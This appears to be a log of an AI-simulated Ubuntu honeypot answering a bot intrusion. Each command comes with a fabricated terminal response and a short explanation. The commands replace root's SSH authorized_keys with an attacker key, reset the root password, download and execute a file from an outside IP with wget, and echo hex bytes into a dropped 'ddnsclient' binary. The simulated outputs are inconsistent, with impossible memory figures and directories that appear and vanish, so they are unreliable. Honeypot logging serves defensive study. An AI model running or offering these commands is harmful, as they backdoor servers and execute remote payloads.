cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Response:
root@ubuntu:~# cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
root@ubuntu:~#

The '.ssh' directory in the home directory was deleted and recreated. A new SSH public key was added to the 'authorized_keys' file. The permissions of the '.ssh' directory were changed to be accessible only by the owner.


Response:
root@ubuntu:~# cat /proc/cpuinfo | grep name | wc -l
24
root@ubuntu:~#


Response:
root@ubuntu:~# echo "root:cyeJKMwaBSZ8"|chpasswd|bash
root@ubuntu:~#

The password for the root user has been changed to 'cyeJKMwaBSZ8'.


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

Response:
root@ubuntu:~# cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
Intel(R) Xeon(R) Silver 4214 CPU @ 2.20GHz
root@ubuntu:~#


Response:
root@ubuntu:~# free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
725938364 123456 234567 345678 456789 567890
root@ubuntu:~#


Response:
root@ubuntu:~# >/tmp/.l && cd /tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/tmp#

- A new file named '.l' was created in the '/tmp' directory.
- The working directory was changed to '/tmp'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/tmp# >/var/.l && cd /var/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var#

- A new file named '.l' was created in the '/var' directory.
- The working directory was changed to '/var'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/var# >/dev/.l && cd /dev/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/dev#

- A new file named '.l' was created in the '/dev' directory.
- The working directory was changed to '/dev'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/dev# >/mnt/.l && cd /mnt/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/mnt#

- A new file named '.l' was created in the '/mnt' directory.
- The working directory was changed to '/mnt'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:~# enable
root@ubuntu:~#

```
root@ubuntu:~# enable
root@ubuntu:~#
```
The 'enable' command was executed, but it doesn't make any changes to the system as it is used to enable and disable builtin shell commands.


Response:
root@ubuntu:~# system
bash: system: command not found
root@ubuntu:~#

```
root@ubuntu:~# system
bash: system: command not found
root@ubuntu:~#
```
The 'system' command was attempted, but it is not a recognized command in this shell. No changes were made to the system.


Response:
root@ubuntu:~# shell
bash: shell: command not found
root@ubuntu:~#

```
root@ubuntu:~# shell
bash: shell: command not found
root@ubuntu:~#
```
The 'shell' command was attempted, but it is not a recognized command in this shell. No changes were made to the system.


Response:
root@ubuntu:~# sh
#

```
root@ubuntu:~# sh
#
```
The shell has been changed to 'sh' from 'bash'.


Response:
# cat /proc/mounts
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
udev /dev devtmpfs rw,nosuid,relatime,size=10240k,nr_inodes=204862,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=164380k,mode=755 0 0
/dev/sda1 / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
efivarfs /sys/firmware/efi/efivars efivarfs rw,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=0,minproto=5,maxproto=5,direct 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,relatime 0 0
fusectl /sys/fs/fuse/connections fusectl rw,relatime 0 0
/dev/sda2 /boot ext4 rw,relatime,data=ordered 0 0
/dev/sda3 /home ext4 rw,relatime,data=ordered 0 0
tmpfs /run/user/1000 tmpfs rw,nosuid,nodev,relatime,size=164380k,mode=700,uid=1000,gid=1000 0 0
# /bin/busybox OCPSW
/bin/busybox: applet not found
#

```
# cat /proc/mounts
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
udev /dev devtmpfs rw,nosuid,relatime,size=10240k,nr_inodes=204862,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=164380k,mode=755 0 0
/dev/sda1 / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
efivarfs /sys/firmware/efi/efivars efivarfs rw,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=0,minproto=5,maxproto=5,direct 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,relatime 0 0
fusectl /sys/fs/fuse/connections fusectl rw,relatime 0 0
/dev/sda2 /boot ext4 rw,relatime,data=ordered 0 0
/dev/sda3 /home ext4 rw,relatime,data=ordered 0 0
tmpfs /run/user/1000 tmpfs rw,nosuid,nodev,relatime,size=164380k,mode=700,uid=1000,gid=1000 0 0
# /bin/busybox OCPSW
/bin/busybox: applet not found
#
```
The 'cat /proc/mounts' command was executed, displaying the file system mount points. The '/bin/busybox OCPSW' command was attempted, but 'OCPSW' is not a recognized BusyBox applet.


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OCPSW

Response:
# cd /dev/shm
# cat .s || cp /bin/echo .s
date
# /bin/busybox OCPSW
/bin/busybox: applet not found
#

```
# cd /dev/shm
# cat .s || cp /bin/echo .s
date
# /bin/busybox OCPSW
/bin/busybox: applet not found
#
```
The working directory was changed to '/dev/shm'. The 'cat .s' command was executed, displaying the content of the '.s' file. If the '.s' file did not exist, it would have been created with the content of '/bin/echo'. The '/bin/busybox OCPSW' command was attempted, but 'OCPSW' is not a recognized BusyBox applet.


Response:
# tftp
BusyBox v1.30.1 (Ubuntu 1:1.30.1-4ubuntu6.3) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

	-l FILE	Local FILE
	-r FILE	Remote FILE
	-g	Get file
	-p	Put file

# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
# /bin/busybox OCPSW
/bin/busybox: applet not found
#

Try `wget --help' for more options.
# /bin/busybox OCPSW
/bin/busybox: applet not found
#
```
The 'tftp' and 'wget' commands were executed without any arguments, so they displayed their usage instructions. The '/bin/busybox OCPSW' command was attempted, but 'OCPSW' is not a recognized BusyBox applet.


Response:
# dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
1+0 records in
1+0 records out
52 bytes copied, 0.000123 s, 423 kB/s
date
#

```
# dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
1+0 records in
1+0 records out
52 bytes copied, 0.000123 s, 423 kB/s
date
#
```
The 'dd' command was executed to read 52 bytes from the '.s' file. If the 'dd' command failed, the 'cat .s' command would have been executed to display the content of the '.s' file. If the 'cat .s' command also failed, the 'while' loop would have been executed to read the '.s' file line by line and echo each line.


Response:
# /bin/busybox OCPSW
/bin/busybox: applet not found
#

```
# /bin/busybox OCPSW
/bin/busybox: applet not found
#
```
The '/bin/busybox OCPSW' command was attempted, but 'OCPSW' is not a recognized BusyBox applet.


Response:
# rm .s
# wget http://2.225.20.46:40746/.i
--2023-11-30 03:16:35--  http://2.225.20.46:40746/.i
Connecting to 2.225.20.46:40746... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28 [application/x-sh]
Saving to: ‘.i’

100%[======================================>] 28          --.-K/s   in 0s

2023-11-30 03:16:35 (3.39 MB/s) - ‘.i’ saved [28/28]

# chmod 777 .i
# ./.i
date
# exit
exit
root@ubuntu:~#

# chmod 777 .i
# ./.i
date
# exit
exit
root@ubuntu:~#
```
The '.s' file in the '/dev/shm' directory was removed. A file named '.i' was downloaded from 'http://2.225.20.46:40746/.i', given full permissions, and executed. The shell was then exited, returning to the previous shell.


Response:
root@ubuntu:~# >/tmp/.l && cd /tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/tmp#

The working directory was changed to '/tmp'. An empty file named '.l' was created in the '/tmp' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/tmp# >/var/.l && cd /var/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var#

The working directory was changed to '/var'. An empty file named '.l' was created in the '/var' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/var# >/dev/.l && cd /dev/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/dev#

The working directory was changed to '/dev'. An empty file named '.l' was created in the '/dev' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/dev# >/mnt/.l && cd /mnt/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/mnt#

The working directory was changed to '/mnt'. An empty file named '.l' was created in the '/mnt' directory. The string 'PATH_DONE' was printed to the terminal.


>/var/run/.l && cd /var/run/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

Response:
root@ubuntu:/mnt# >/var/run/.l && cd /var/run/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var/run#

The working directory was changed to '/var/run'. An empty file named '.l' was created in the '/var/run' directory. The string 'PATH_DONE' was printed to the terminal.


>/var/tmp/.l && cd /var/tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

Response:
root@ubuntu:/var/run# >/var/tmp/.l && cd /var/tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var/tmp#

The working directory was changed to '/var/tmp'. An empty file named '.l' was created in the '/var/tmp' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/var/tmp# >/.l && cd /; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/#

The working directory was changed to '/'. An empty file named '.l' was created in the '/' directory. The string 'PATH_DONE' was printed to the terminal.


>/dev/netslink/.l && cd /dev/netslink/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

Response:
root@ubuntu:/# >/dev/netslink/.l && cd /dev/netslink/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
bash: cd: /dev/netslink/: No such file or directory
PATH_DONE
root@ubuntu:/#

An attempt was made to change the working directory to '/dev/netslink' and create an empty file named '.l' in the '/dev/netslink' directory. However, the '/dev/netslink' directory does not exist, so the operations failed. The string 'PATH_DONE' was printed to the terminal.


>/dev/shm/.l && cd /dev/shm/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

Response:
root@ubuntu:/# >/dev/shm/.l && cd /dev/shm/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/dev/shm#

The working directory was changed to '/dev/shm'. An empty file named '.l' was created in the '/dev/shm' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/dev/shm# >/bin/.l && cd /bin/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/bin#

The working directory was changed to '/bin'. An empty file named '.l' was created in the '/bin' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/bin# >/etc/.l && cd /etc/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/etc#

The working directory was changed to '/etc'. An empty file named '.l' was created in the '/etc' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/etc# >/boot/.l && cd /boot/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/boot#

The working directory was changed to '/boot'. An empty file named '.l' was created in the '/boot' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/boot# >/usr/.l && cd /usr/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/usr#

The working directory was changed to '/usr'. An empty file named '.l' was created in the '/usr' directory. The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/usr# >/sys/.l && cd /sys/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/sys#

The working directory was changed to '/sys'. An empty file named '.l' was created in the '/sys' directory. The string 'PATH_DONE' was printed to the terminal.


rm -rf ddnsclient;rm -rf ntpclient; cp /bin/echo ddnsclient; >ddnsclient; cp ddnsclient ntpclient; chmod 777 ddnsclient; chmod 777 ntpclient

Response:
root@ubuntu:/sys# rm -rf ddnsclient;rm -rf ntpclient; cp /bin/echo ddnsclient; >ddnsclient; cp ddnsclient ntpclient; chmod 777 ddnsclient; chmod 777 ntpclient
root@ubuntu:/sys#

- The files 'ddnsclient' and 'ntpclient' in the '/sys' directory were removed.
- The 'echo' command was copied to a new file named 'ddnsclient'.
- The 'ddnsclient' file was emptied.
- The 'ddnsclient' file was copied to a new file named 'ntpclient'.
- The 'ddnsclient' and 'ntpclient' files were given full permissions.


- The 'ddnsclient' file in the '/sys' directory was overwritten with a new binary content.
- The string 'ECHODONE' was printed to the terminal.


- The 'ddnsclient' file in the '/sys' directory was appended with new binary content.
- The string 'ECHODONE' was printed to the terminal.


Response:
root@ubuntu:/sys# echo -ne '\x8d\x44\x24\x18\x56' >> ddnsclient; echo -e '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
ECHODONE
root@ubuntu:/sys#


Response:
root@ubuntu:/sys# echo -ne '\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x00\x94\x04\x08\x00\x04\x00\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' >> ddnsclient; echo -e '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
ECHODONE
root@ubuntu:/sys#


./ddnsclient; chmod 777 ntpclient; ./ntpclient

Response:
root@ubuntu:/sys# ./ddnsclient
root@ubuntu:/sys# chmod 777 ntpclient
root@ubuntu:/sys# ./ntpclient
root@ubuntu:/sys#

- The 'ddnsclient' file in the '/sys' directory was executed.
- The 'ntpclient' file in the '/sys' directory was given full permissions.
- The 'ntpclient' file in the '/sys' directory was executed.


Response:
root@ubuntu:~# >/tmp/.l && cd /tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/tmp#

- A new file named '.l' was created in the '/tmp' directory.
- The working directory was changed to '/tmp'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/tmp# >/var/.l && cd /var/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var#

- A new file named '.l' was created in the '/var' directory.
- The working directory was changed to '/var'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/var# >/dev/.l && cd /dev/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/dev#

- A new file named '.l' was created in the '/dev' directory.
- The working directory was changed to '/dev'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/dev# >/mnt/.l && cd /mnt/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/mnt#

- A new file named '.l' was created in the '/mnt' directory.
- The working directory was changed to '/mnt'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/mnt# >/var/run/.l && cd /var/run/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var/run#

- A new file named '.l' was created in the '/var/run' directory.
- The working directory was changed to '/var/run'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/var/run# >/var/tmp/.l && cd /var/tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/var/tmp#

- A new file named '.l' was created in the '/var/tmp' directory.
- The working directory was changed to '/var/tmp'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/var/tmp# >/.l && cd /; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/#

- A new file named '.l' was created in the root directory '/'.
- The working directory was changed to '/'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/# >/dev/netslink/.l && cd /dev/netslink/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/dev/netslink#

- A new file named '.l' was created in the '/dev/netslink' directory.
- The working directory was changed to '/dev/netslink'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/dev/netslink# >/dev/shm/.l && cd /dev/shm/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/dev/shm#

- A new file named '.l' was created in the '/dev/shm' directory.
- The working directory was changed to '/dev/shm'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/dev/shm# >/bin/.l && cd /bin/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/bin#

- A new file named '.l' was created in the '/bin' directory.
- The working directory was changed to '/bin'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/bin# >/etc/.l && cd /etc/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/etc#

- A new file named '.l' was created in the '/etc' directory.
- The working directory was changed to '/etc'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/etc# >/boot/.l && cd /boot/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/boot#

- A new file named '.l' was created in the '/boot' directory.
- The working directory was changed to '/boot'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/boot# >/usr/.l && cd /usr/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/usr#

- A new file named '.l' was created in the '/usr' directory.
- The working directory was changed to '/usr'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/usr# >/sys/.l && cd /sys/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld
PATH_DONE
root@ubuntu:/sys#

- A new file named '.l' was created in the '/sys' directory.
- The working directory was changed to '/sys'.
- The string 'PATH_DONE' was printed to the terminal.


Response:
root@ubuntu:/sys# rm -rf ddnsclient;rm -rf ntpclient; cp /bin/echo ddnsclient; >ddnsclient; cp ddnsclient ntpclient; chmod 777 ddnsclient; chmod 777 ntpclient
root@ubuntu:/sys#

- The files 'ddnsclient' and 'ntpclient' in the '/sys' directory were removed.
- The 'echo' command was copied to a new file named 'ddnsclient'.
- The 'ddnsclient' file was emptied.
- The 'ddnsclient' file was copied to a new file named 'ntpclient'.
- Both 'ddnsclient' and 'ntpclient' were given full permissions.


- The 'ddnsclient' file in the '/sys' directory was appended with additional binary content.
- The string 'ECHODONE' was printed to the terminal.


Response:
root@ubuntu:/sys# echo -ne '\x8d\x44\x24\x18\x56' >> ddnsclient; echo -e '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
ECHODONE
root@ubuntu:/sys#


Response:
root@ubuntu:/sys# echo -ne '\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x00\x94\x04\x08\x00\x04\x00\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' >> ddnsclient; echo -e '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
ECHODONE
root@ubuntu:/sys#


Response:
root@ubuntu:/sys# ./ddnsclient
root@ubuntu:/sys# chmod 777 ntpclient
root@ubuntu:/sys# ./ntpclient
root@ubuntu:/sys#

- The 'ddnsclient' executable was run.
- The 'ntpclient' file in the '/sys' directory was given full permissions.
- The 'ntpclient' executable was run.


Response:
root@ubuntu:/sys# kill %%1
root@ubuntu:/sys#


Response:
root@ubuntu:/sys# echo A
A
root@ubuntu:/sys#

- The string 'A' was printed to the terminal.


Response:
root@ubuntu:~# sudo -s
root@ubuntu:~#

The shell has been changed to a root shell using the 'sudo -s' command.


Response:
root@ubuntu:~# ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
root@ubuntu:~#


Response:
root@ubuntu:~# cd ..
root@ubuntu:/#

The working directory was changed to the root directory ('/').


Response:
root@ubuntu:/# ls
bin   dev  home  lib32  lost+found  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media       opt  root  sbin  sys  usr
root@ubuntu:/#


Response:
root@ubuntu:/# cd medievaltop/
root@ubuntu:/medievaltop#

The working directory was changed to '/medievaltop'.


Response:
root@ubuntu:/medievaltop# ls
file1.txt  file2.txt  file3.txt  directory1  directory2
root@ubuntu:/medievaltop#


Response:
root@ubuntu:/medievaltop# cd ..
root@ubuntu:/#


Response:
root@ubuntu:/# cd ..
root@ubuntu:/#

No changes to the system were made as the current directory was already the root directory ('/').


Response:
root@ubuntu:/# ls
bin   dev  home  lib32  lost+found  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media       opt  root  sbin  sys  usr
root@ubuntu:/#


Response:
root@ubuntu:/# cd data
root@ubuntu:/data#

The working directory was changed to '/data'.


Response:
root@ubuntu:/data# cd ..
root@ubuntu:/#


Response:
root@ubuntu:/# cd root
root@ubuntu:~#

The working directory was changed to '/root'.


Response:
root@ubuntu:~# ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
root@ubuntu:~#